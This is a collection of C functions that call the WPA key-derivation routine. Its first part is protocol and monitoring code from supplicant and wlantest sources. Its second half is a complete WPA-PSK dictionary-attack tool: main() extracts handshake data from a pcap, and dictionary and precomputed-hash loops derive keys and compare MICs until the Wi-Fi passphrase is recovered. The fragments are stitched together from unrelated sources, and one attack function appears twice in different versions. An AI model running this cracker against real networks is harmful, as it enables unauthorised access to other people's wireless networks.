static void wpa_supplicant_process_1_of_4(struct wpa_sm *sm, const unsigned char *src_addr, const struct wpa_eapol_key *key, u16 ver) { int i; struct wpa_eapol_ie_parse ie; struct wpa_ptk *ptk; u8 buf[8]; lwip_log("WPA: RX message 1 of 4-Way Handshake from " MACSTR " (ver=%d)\n", MAC2STR(src_addr), ver); os_memset(&ie, 0, sizeof(ie)); if (sm->proto == WPA_PROTO_RSN) { /* RSN: msg 1/4 should contain PMKID for the selected PMK */ const u8 *_buf = (const u8 *) (key + 1); size_t len = WPA_GET_BE16(key->key_data_length); wpa_hexdump(MSG_DEBUG, "RSN: msg 1/4 key data", _buf, len); wpa_supplicant_parse_ies(_buf, len, &ie); if (ie.pmkid) { wpa_hexdump(MSG_DEBUG, "RSN: PMKID from Authenticator", ie.pmkid, PMKID_LEN); } } if (sm->renew_snonce) { if (hostapd_get_rand(sm->snonce, WPA_NONCE_LEN)) { lwip_log("WPA: Failed to get random data for SNonce\n"); return; } sm->renew_snonce = 0; wpa_hexdump(MSG_DEBUG, "WPA: Renewed SNonce", sm->snonce, WPA_NONCE_LEN); } /* Calculate PTK which will be stored as a temporary PTK until it has * been verified when processing message 3/4. */ ptk = &sm->tptk; wpa_pmk_to_ptk(sm->pmk, sm->pmk_len, "Pairwise key expansion", sm->own_addr, sm->bssid, sm->snonce, key->key_nonce, (u8 *)ptk, sizeof(*ptk)); /* Supplicant: swap tx/rx Mic keys */ os_memcpy(buf, ptk->u.auth.tx_mic_key, 8); os_memcpy(ptk->u.auth.tx_mic_key, ptk->u.auth.rx_mic_key, 8); os_memcpy(ptk->u.auth.rx_mic_key, buf, 8); sm->tptk_set = 1; os_memcpy(sm->anonce, key->key_nonce, WPA_NONCE_LEN); if (wpa_supplicant_send_2_of_4(sm, sm->bssid, key, ver, sm->snonce, sm->assoc_wpa_ie, sm->assoc_wpa_ie_len, ptk)) { return; } }
/** * peerkey_verify_eapol_key_mic - Verify PeerKey MIC * @sm: Pointer to WPA state machine data from wpa_sm_init() * @peerkey: Pointer to the PeerKey data for the peer * @key: Pointer to the EAPOL-Key frame header * @ver: Version bits from EAPOL-Key Key Info * @buf: Pointer to the beginning of EAPOL-Key frame * @len: Length of the EAPOL-Key frame * Returns: 0 on success, -1 on failure */ int peerkey_verify_eapol_key_mic(struct wpa_sm *sm, struct wpa_peerkey *peerkey, struct wpa_eapol_key *key, u16 ver, const u8 *buf, size_t len) { u8 mic[16]; int ok = 0; if (peerkey->initiator && !peerkey->stk_set) { wpa_pmk_to_ptk(peerkey->smk, PMK_LEN, "Peer key expansion", sm->own_addr, peerkey->addr, peerkey->inonce, key->key_nonce, (u8 *) &peerkey->stk, sizeof(peerkey->stk), peerkey->use_sha256); peerkey->stk_set = 1; } os_memcpy(mic, key->key_mic, 16); if (peerkey->tstk_set) { os_memset(key->key_mic, 0, 16); wpa_eapol_key_mic(peerkey->tstk.kck, ver, buf, len, key->key_mic); if (os_memcmp(mic, key->key_mic, 16) != 0) { wpa_printf(MSG_WARNING, "RSN: Invalid EAPOL-Key MIC " "when using TSTK - ignoring TSTK"); } else { ok = 1; peerkey->tstk_set = 0; peerkey->stk_set = 1; os_memcpy(&peerkey->stk, &peerkey->tstk, sizeof(peerkey->stk)); } } if (!ok && peerkey->stk_set) { os_memset(key->key_mic, 0, 16); wpa_eapol_key_mic(peerkey->stk.kck, ver, buf, len, key->key_mic); if (os_memcmp(mic, key->key_mic, 16) != 0) { wpa_printf(MSG_WARNING, "RSN: Invalid EAPOL-Key MIC " "- dropping packet"); return -1; } ok = 1; } if (!ok) { wpa_printf(MSG_WARNING, "RSN: Could not verify EAPOL-Key MIC " "- dropping packet"); return -1; } os_memcpy(peerkey->replay_counter, key->replay_counter, WPA_REPLAY_COUNTER_LEN); peerkey->replay_counter_set = 1; return 0; }
static int wpa_derive_ptk(struct wpa_sm *sm, const unsigned char *src_addr, const struct wpa_eapol_key *key, struct wpa_ptk *ptk) { size_t ptk_len = sm->pairwise_cipher == WPA_CIPHER_CCMP ? 48 : 64; #ifdef CONFIG_IEEE80211R if (wpa_key_mgmt_ft(sm->key_mgmt)) return wpa_derive_ptk_ft(sm, src_addr, key, ptk, ptk_len); #endif /* CONFIG_IEEE80211R */ wpa_pmk_to_ptk(sm->pmk, sm->pmk_len, "Pairwise key expansion", sm->own_addr, sm->bssid, sm->snonce, key->key_nonce, (u8 *) ptk, ptk_len, wpa_key_mgmt_sha256(sm->key_mgmt)); return 0; }
static int try_pmk(struct wlantest *wt, struct wlantest_bss *bss, struct wlantest_sta *sta, u16 ver, const u8 *data, size_t len, struct wlantest_pmk *pmk) { struct wpa_ptk ptk; size_t ptk_len = sta->pairwise_cipher == WPA_CIPHER_TKIP ? 64 : 48; wpa_pmk_to_ptk(pmk->pmk, sizeof(pmk->pmk), "Pairwise key expansion", bss->bssid, sta->addr, sta->anonce, sta->snonce, (u8 *) &ptk, ptk_len, wpa_key_mgmt_sha256(sta->key_mgmt)); if (check_mic(ptk.kck, ver, data, len) < 0) return -1; wpa_printf(MSG_INFO, "Derived PTK for STA " MACSTR " BSSID " MACSTR, MAC2STR(sta->addr), MAC2STR(bss->bssid)); sta->counters[WLANTEST_STA_COUNTER_PTK_LEARNED]++; if (sta->ptk_set) { /* * Rekeying - use new PTK for EAPOL-Key frames, but continue * using the old PTK for frame decryption. */ add_note(wt, MSG_DEBUG, "Derived PTK during rekeying"); os_memcpy(&sta->tptk, &ptk, sizeof(ptk)); wpa_hexdump(MSG_DEBUG, "TPTK:KCK", sta->tptk.kck, 16); wpa_hexdump(MSG_DEBUG, "TPTK:KEK", sta->tptk.kek, 16); wpa_hexdump(MSG_DEBUG, "TPTK:TK1", sta->tptk.tk1, 16); if (ptk_len > 48) wpa_hexdump(MSG_DEBUG, "TPTK:TK2", sta->tptk.u.tk2, 16); sta->tptk_set = 1; return 0; } add_note(wt, MSG_DEBUG, "Derived new PTK"); os_memcpy(&sta->ptk, &ptk, sizeof(ptk)); wpa_hexdump(MSG_DEBUG, "PTK:KCK", sta->ptk.kck, 16); wpa_hexdump(MSG_DEBUG, "PTK:KEK", sta->ptk.kek, 16); wpa_hexdump(MSG_DEBUG, "PTK:TK1", sta->ptk.tk1, 16); if (ptk_len > 48) wpa_hexdump(MSG_DEBUG, "PTK:TK2", sta->ptk.u.tk2, 16); sta->ptk_set = 1; os_memset(sta->rsc_tods, 0, sizeof(sta->rsc_tods)); os_memset(sta->rsc_fromds, 0, sizeof(sta->rsc_fromds)); return 0; }
static void wpa_supplicant_process_stk_1_of_4(struct wpa_sm *sm, struct wpa_peerkey *peerkey, const struct wpa_eapol_key *key, u16 ver) { struct wpa_eapol_ie_parse ie; const u8 *kde; size_t len, kde_buf_len; struct wpa_ptk *stk; u8 buf[8], *kde_buf, *pos; be32 lifetime; wpa_printf(MSG_DEBUG, "RSN: RX message 1 of STK 4-Way Handshake from " MACSTR " (ver=%d)", MAC2STR(peerkey->addr), ver); os_memset(&ie, 0, sizeof(ie)); /* RSN: msg 1/4 should contain SMKID for the selected SMK */ kde = (const u8 *) (key + 1); len = WPA_GET_BE16(key->key_data_length); wpa_hexdump(MSG_DEBUG, "RSN: msg 1/4 key data", kde, len); if (wpa_supplicant_parse_ies(kde, len, &ie) < 0 || ie.pmkid == NULL) { wpa_printf(MSG_DEBUG, "RSN: No SMKID in STK 1/4"); return; } if (os_memcmp(ie.pmkid, peerkey->smkid, PMKID_LEN) != 0) { wpa_hexdump(MSG_DEBUG, "RSN: Unknown SMKID in STK 1/4", ie.pmkid, PMKID_LEN); return; } if (random_get_bytes(peerkey->pnonce, WPA_NONCE_LEN)) { wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, "RSN: Failed to get random data for PNonce"); return; } wpa_hexdump(MSG_DEBUG, "WPA: Renewed PNonce", peerkey->pnonce, WPA_NONCE_LEN); /* Calculate STK which will be stored as a temporary STK until it has * been verified when processing message 3/4. */ stk = &peerkey->tstk; wpa_pmk_to_ptk(peerkey->smk, PMK_LEN, "Peer key expansion", sm->own_addr, peerkey->addr, peerkey->pnonce, key->key_nonce, (u8 *) stk, sizeof(*stk), peerkey->use_sha256); /* Supplicant: swap tx/rx Mic keys */ os_memcpy(buf, stk->u.auth.tx_mic_key, 8); os_memcpy(stk->u.auth.tx_mic_key, stk->u.auth.rx_mic_key, 8); os_memcpy(stk->u.auth.rx_mic_key, buf, 8); peerkey->tstk_set = 1; kde_buf_len = peerkey->rsnie_p_len + 2 + RSN_SELECTOR_LEN + sizeof(lifetime) + 2 + RSN_SELECTOR_LEN + PMKID_LEN; kde_buf = os_malloc(kde_buf_len); if (kde_buf == NULL) return; pos = kde_buf; pos = wpa_add_ie(pos, peerkey->rsnie_p, peerkey->rsnie_p_len); lifetime = host_to_be32(peerkey->lifetime); pos = wpa_add_kde(pos, RSN_KEY_DATA_LIFETIME, (u8 *) &lifetime, sizeof(lifetime)); wpa_add_kde(pos, RSN_KEY_DATA_PMKID, peerkey->smkid, PMKID_LEN); if (wpa_supplicant_send_2_of_4(sm, peerkey->addr, key, ver, peerkey->pnonce, kde_buf, kde_buf_len, stk)) { os_free(kde_buf); return; } os_free(kde_buf); os_memcpy(peerkey->inonce, key->key_nonce, WPA_NONCE_LEN); }
int dictfile_attack(struct user_opt *opt, char *passphrase, struct crack_data *cdata) { FILE *fp; int fret; u8 pmk[32]; u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; #ifdef FPGA // int i; opt_g = opt; cdata_g = cdata; if(usefpga) initfpga(); #endif /* Open the dictionary file */ if (*opt->dictfile == '-') { printf("Using STDIN for words.\n"); fp = stdin; } else { fp = fopen(opt->dictfile, "r"); if (fp == NULL) { perror("fopen"); exit(-1); } } while (feof(fp) == 0 && sig == 0) { /* Populate "passphrase" with the next word */ fret = nextdictword(passphrase, fp); if (fret < 0) { break; } if (opt->verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* * Test length of word. IEEE 802.11i indicates the passphrase * must be at least 8 characters in length, and no more than 63 * characters in length. */ if (fret < 8 || fret > 63) { if (opt->verbose) { printf("Invalid passphrase length: %s (%d).\n", passphrase, strlen(passphrase)); } continue; } else { /* This word is good, increment the words tested counter */ wordstested++; } /* Status display */ #ifdef FPGA if ((wordstested % 100) == 0) { #else if ((wordstested % 1000) == 0) { #endif printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt->verbose > 1) { printf("Calculating PMK for \"%s\".\n", passphrase); } pbkdf2_sha1(passphrase, opt->ssid, strlen(opt->ssid), 4096, pmk, sizeof(pmk), USECACHED); #ifdef FPGA if (!usefpga) { #endif if (opt->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } #ifdef FPGA /* for(i = 0; i < 32; i++) printf("%02x ", pmk[i]); printf("\n"); */ #endif wpa_pmk_to_ptk(pmk, cdata->aa, cdata->spa, cdata->anonce, cdata->snonce, ptk, sizeof(ptk)); if (opt->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if (opt->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } hmac_md5(ptkset->mic_key, 16, cdata->eapolframe, sizeof(cdata->eapolframe), keymic); if (opt->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) { return 0; } else { continue; } #ifdef FPGA } #endif } #ifdef FPGA if(usefpga) { printf("waiting..."); fflush(stdout); finishreg(); printf("\ndone\n"); } #endif return 1; } int main(int argc, char **argv) { struct user_opt opt; struct crack_data cdata; struct capture_data capdata; struct wpa_eapol_key *eapkeypacket; u8 eapolkey_nomic[99]; struct timeval start, end; int ret; char passphrase[MAXPASSLEN + 1]; printf("%s %s - WPA-PSK dictionary attack. <*****@*****.**>\n", PROGNAME, VER); memset(&opt, 0, sizeof(struct user_opt)); memset(&capdata, 0, sizeof(struct capture_data)); memset(&cdata, 0, sizeof(struct crack_data)); memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic)); /* Collect and test command-line arguments */ parseopts(&opt, argc, argv); testopts(&opt); printf("\n"); /* Populate capdata struct */ strncpy(capdata.pcapfilename, opt.pcapfile, sizeof(capdata.pcapfilename)); if (openpcap(&capdata) != 0) { printf("Unsupported or unrecognized pcap file.\n"); exit(1); } /* populates global *packet */ while (getpacket(&capdata) > 0) { if (opt.verbose > 2) { lamont_hdump(packet, h->len); } /* test packet for data that we are looking for */ if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) == 0 && (h->len > capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { /* It's a dot1x frame, process it */ handle_dot1x(&cdata, &capdata); if (cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset) { /* We've collected everything we need. */ break; } } } closepcap(&capdata); if (!(cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) { printf("End of pcap capture file, incomplete TKIP four-way " "exchange. Try using a\ndifferent capture.\n"); exit(1); } else { printf("Collected all necessary data to mount crack against " "passphrase.\n"); } if (opt.verbose > 1) { dump_all_fields(cdata); } /* Zero mic and length data for hmac-md5 calculation */ eapkeypacket = (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET]; memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic)); eapkeypacket->key_data_length = 0; printf("Starting dictionary attack. Please be patient.\n"); fflush(stdout); // signal(SIGINT, cleanup); // signal(SIGTERM, cleanup); // signal(SIGQUIT, cleanup); gettimeofday(&start, NULL); #ifdef FPGA start_g = start; #endif if (!IsBlank(opt.hashfile)) { ret = hashfile_attack(&opt, passphrase, &cdata); } else if (!IsBlank(opt.dictfile)) { ret = dictfile_attack(&opt, passphrase, &cdata); } else { usage("Must specify dictfile or hashfile (-f or -d)"); exit(1); } if (ret == 0) { printf("\nThe PSK is \"%s\".\n", passphrase); } else { printf("Unable to identify the PSK from the dictionary file. " "Try expanding your\npassphrase list, and double-check" " the SSID. Sorry it didn't work out.\n"); } gettimeofday(&end, NULL); printstats(start, end, wordstested); return (1); }
int hashfile_attack(struct user_opt *opt, char *passphrase, struct crack_data *cdata) { FILE *fp; int reclen, wordlen; u8 pmk[32]; u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; struct hashdb_rec rec; struct hashdb_head hf_head; char headerssid[33]; /* Open the hash file */ if (*opt->hashfile == '-') { printf("Using STDIN for hashfile contents.\n"); fp = stdin; } else { fp = fopen(opt->hashfile, "rb"); if (fp == NULL) { perror("fopen"); return(-1); } } /* Read the record header contents */ if (fread(&hf_head, sizeof(hf_head), 1, fp) != 1) { perror("fread"); return(-1); } /* Ensure selected SSID matches what's stored in the header record */ if (memcmp(hf_head.ssid, opt->ssid, hf_head.ssidlen) != 0) { memcpy(&headerssid, hf_head.ssid, hf_head.ssidlen); headerssid[hf_head.ssidlen] = 0; /* NULL terminate string */ fprintf(stderr, "\nSSID in hashfile (\"%s\") does not match " "SSID specified on the \n" "command line (\"%s\"). You cannot " "mix and match SSID's for this\nattack.\n\n", headerssid, opt->ssid); return(-1); } while (feof(fp) == 0 && sig == 0) { /* Populate the hashdb_rec with the next record */ reclen = nexthashrec(fp, &rec); /* nexthashrec returns the length of the record, test to ensure passphrase is greater than 8 characters */ wordlen = rec.rec_size - (sizeof(rec.pmk) + sizeof(rec.rec_size)); if (wordlen < 8) { printf("Found a record that was too short, this " "shouldn't happen in practice!\n"); return(-1); } /* Populate passphrase with the record contents */ memcpy(passphrase, rec.word, wordlen); /* NULL terminate passphrase string */ passphrase[wordlen] = 0; if (opt->verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* Increment the words tested counter */ wordstested++; /* Status display */ #ifdef FPGA if ((wordstested % 1000) == 0) { #else if ((wordstested % 10000) == 0) { #endif printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt->verbose > 1) { printf("Calculating PTK for \"%s\".\n", passphrase); } if (opt->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } wpa_pmk_to_ptk(rec.pmk, cdata->aa, cdata->spa, cdata->anonce, cdata->snonce, ptk, sizeof(ptk)); if (opt->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if (opt->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } hmac_md5(ptkset->mic_key, 16, cdata->eapolframe, sizeof(cdata->eapolframe), keymic); if (opt->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) { return 0; } else { continue; } } return 1; } #ifdef FPGA struct crack_data *cdata_g; struct user_opt *opt_g; struct timeval start_g; int dictfile_found(unsigned char *pmk, char *passphrase) { u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; struct timeval end; if (opt_g->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt_g->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } wpa_pmk_to_ptk(pmk, cdata_g->aa, cdata_g->spa, cdata_g->anonce, cdata_g->snonce, ptk, sizeof(ptk)); if (opt_g->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if (opt_g->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } hmac_md5(ptkset->mic_key, 16, cdata_g->eapolframe, sizeof(cdata_g->eapolframe), keymic); if (opt_g->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata_g->keymic, &keymic, sizeof(keymic)) == 0) { printf("\nThe PSK is \"%s\".\n", passphrase); } else { return 1; } gettimeofday(&end, NULL); printstats(start_g, end, wordstested); exit(0); return 0; }
int dictfile_attack(struct user_opt *opt, char *passphrase, struct crack_data *cdata) { FILE *fp; int fret; u8 pmk[32]; u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; /* Open the dictionary file */ if (*opt->dictfile == '-') { printf("Using STDIN for words.\n"); fp = stdin; } else { fp = fopen(opt->dictfile, "r"); if (fp == NULL) { perror("fopen"); exit(-1); } } while (feof(fp) == 0 && sig == 0) { /* Populate "passphrase" with the next word */ fret = nextdictword(passphrase, fp); if (fret < 0) { break; } if (opt->verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* * Test length of word. IEEE 802.11i indicates the passphrase * must be at least 8 characters in length, and no more than 63 * characters in length. */ if (fret < 8 || fret > 63) { if (opt->verbose) { printf("Invalid passphrase length: %s (%u).\n", passphrase, strlen(passphrase)); } continue; } else { /* This word is good, increment the words tested counter */ wordstested++; } /* Status display */ if ((wordstested % 1000) == 0) { printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt->verbose > 1) { printf("Calculating PMK for \"%s\".\n", passphrase); } pbkdf2_sha1(passphrase, opt->ssid, strlen(opt->ssid), 4096, pmk, sizeof(pmk), USECACHED); if (opt->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } wpa_pmk_to_ptk(pmk, cdata->aa, cdata->spa, cdata->anonce, cdata->snonce, ptk, sizeof(ptk)); if (opt->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if (opt->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } if (opt->nonstrict == 0) { hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, sizeof(cdata->eapolframe), keymic); } else { hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, cdata->eapolframe_size, keymic); } if (opt->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) { return 0; } else { continue; } } return 1; }